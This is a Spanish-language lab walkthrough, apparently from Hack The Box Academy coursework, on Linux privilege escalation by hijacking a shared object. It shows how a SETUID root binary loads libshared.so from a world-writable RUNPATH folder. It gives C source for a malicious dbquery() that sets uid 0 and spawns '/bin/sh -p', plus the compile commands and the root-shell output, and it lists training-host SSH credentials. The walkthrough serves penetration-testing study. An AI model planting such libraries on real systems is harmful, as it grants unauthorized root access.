Page cover

🐧Secuestro de objetos compartidos

Los programas y binarios en desarrollo suelen tener bibliotecas personalizadas asociadas. Considere el siguiente binario SETUID.

htb-student@NIX02:~$ ls -la payroll

-rwsr-xr-x 1 root root 16728 Sep  1 22:05 payroll

Podemos usar ldd para imprimir el objeto compartido requerido por un objeto binario o compartido. Ldd muestra la ubicación del objeto y la dirección hexadecimal donde se carga en la memoria para cada una de las dependencias de un programa.

htb-student@NIX02:~$ ldd payroll

linux-vdso.so.1 =>  (0x00007ffcb3133000)
libshared.so => /lib/x86_64-linux-gnu/libshared.so (0x00007f7f62e51000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)

Vemos una biblioteca no estándar nombrada libshared.so como dependencia para el binario. Como se dijo anteriormente, es posible cargar bibliotecas compartidas desde ubicaciones personalizadas. Una de esas configuraciones es la configuración RUNPATH. Las bibliotecas en esta carpeta tienen preferencia sobre otras carpetas. Esto se puede inspeccionar usando la utilidad readelf .

htb-student@NIX02:~$ readelf -d payroll | grep PATH

 0x000000000000001d (RUNPATH)            Library runpath: [/development]

La configuración permite cargar bibliotecas desde la carpeta /development, en la que todos los usuarios pueden escribir. Esta configuración incorrecta se puede aprovechar colocando una biblioteca maliciosa en /development, que tendrá prioridad sobre otras carpetas porque las entradas de este archivo se comprueban primero (antes que otras carpetas presentes en los archivos de configuración).

htb-student@NIX02:~$ ls -la /development/

total 8
drwxrwxrwx  2 root root 4096 Sep  1 22:06 ./
drwxr-xr-x 23 root root 4096 Sep  1 21:26 ../

Antes de compilar una biblioteca, necesitamos encontrar el nombre de la función llamada por el binario.

htb-student@NIX02:~$ ldd payroll

linux-vdso.so.1 (0x00007ffd22bbc000)
libshared.so => /development/libshared.so (0x00007f0c13112000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0c1330a000)
htb-student@NIX02:~$ cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
htb-student@NIX02:~$ ./payroll 

./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery

Podemos copiar una biblioteca existente a la carpeta development. Al ejecutar el binario ldd, la ruta de la biblioteca aparece como /development/libshared.so, lo que significa que es vulnerable. Al ejecutar el binario, se genera un error que indica que no se pudo encontrar la función denominada dbquery. Podemos compilar un objeto compartido que incluya esta función.

src.c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void dbquery() {
    printf("Malicious library loaded\n");
    setuid(0);
    system("/bin/sh -p");
} 

La función dbquery establece nuestro ID de usuario en 0 (root) y se ejecuta /bin/sh cuando se la llama. Compílela con GCC :

htb-student@NIX02:~$ gcc src.c -fPIC -shared -o /development/libshared.so

Al ejecutar el binario nuevamente debería aparecer el banner y aparecer un shell root.

htb-student@NIX02:~$ ./payroll 

***************Inlane Freight Employee Database***************

Malicious library loaded
# id
uid=0(root) gid=1000(mrb3n) groups=1000(mrb3n)

Caso práctico

SSH a 10.129.175.139 (ACADEMY-LPE-NIX02)
Usuario "htb-student"
Contraseña "Academy_LLPE!"

Siga los ejemplos de esta sección para escalar privilegios, vuelva a crear todos los ejemplos (no ejecute simplemente el binario payroll). Practique el uso de ldd y readelf. Envíe la versión de glibc (es decir, 2.30) en uso para pasar a la siguiente sección.

Al acceder por SSH nos encontramos con estos archivos, entre los que destaca payroll ya que pertenece al usuario root:

htb-student@NIX02:~/shared_obj_hijack$ ls -la
total 60
drwxr-xr-x 2 root        root         4096 Jan 25  2024 .
drwxr-xr-x 7 htb-student htb-student  4096 Nov 19 10:06 ..
-rw-r--r-- 1 htb-student htb-student   195 Sep  1  2020 dbquery.c
-rw-r--r-- 1 htb-student htb-student    20 Sep  1  2020 dbquery.h
-rwxr-xr-x 1 htb-student htb-student 16200 Sep  1  2020 libshared.so
-rwsr-xr-x 1 root        root        16728 Sep  1  2020 payroll
-rw-r--r-- 1 htb-student htb-student   126 Sep  1  2020 payroll.c
-rw-r--r-- 1 htb-student htb-student   141 Sep  1  2020 src.c

Elevar nuestros privilegios en este escenario sería tan fácil como ejecutarlo, tal y cómo hemos visto en esta sección:

htb-student@NIX02:~/shared_obj_hijack$ ./payroll 
***************Inlane Freight Employee Database***************

Malicious library loaded
# id
uid=0(root) gid=1008(htb-student) groups=1008(htb-student)

Pasos para practicar con ldd y readelf:

  1. Usar ldd para verificar dependencias de un binario

Ejecuta el comando ldd <nombre_del_binario> para listar las bibliotecas compartidas que utiliza un binario:

ldd payroll
	linux-vdso.so.1 (0x00007fffa5189000)
	libshared.so => /development/libshared.so (0x00007f14760e1000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1475cf0000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f14762e3000)

Esto mostrará las rutas de las bibliotecas compartidas y si están correctamente enlazadas.

  1. Usar readelf para analizar el binario

Ejecuta el comando readelf -h <nombre_del_binario> para obtener el encabezado ELF del binario.

readelf -h payroll
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x1080
  Start of program headers:          64 (bytes into file)
  Start of section headers:          14744 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         13
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 30

Opcionalmente, puedes inspeccionar otras secciones como la tabla de símbolos:

readelf -s payroll

Symbol table '.dynsym' contains 8 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterTMCloneTab
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND dbquery
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)
     5: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     6: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
     7: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@GLIBC_2.2.5 (2)
     <----SNIP---->
  1. Obtener la versión de glibc

Hay varias formas de obtener la versión de la biblioteca glibc:

  • Consultando la versión directamente desde el sistema:

ldd --version

ldd (Ubuntu GLIBC 2.27-3ubuntu1.6) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

Inspeccionando la biblioteca directamente:

strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"

GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.

Última actualización

¿Te fue útil?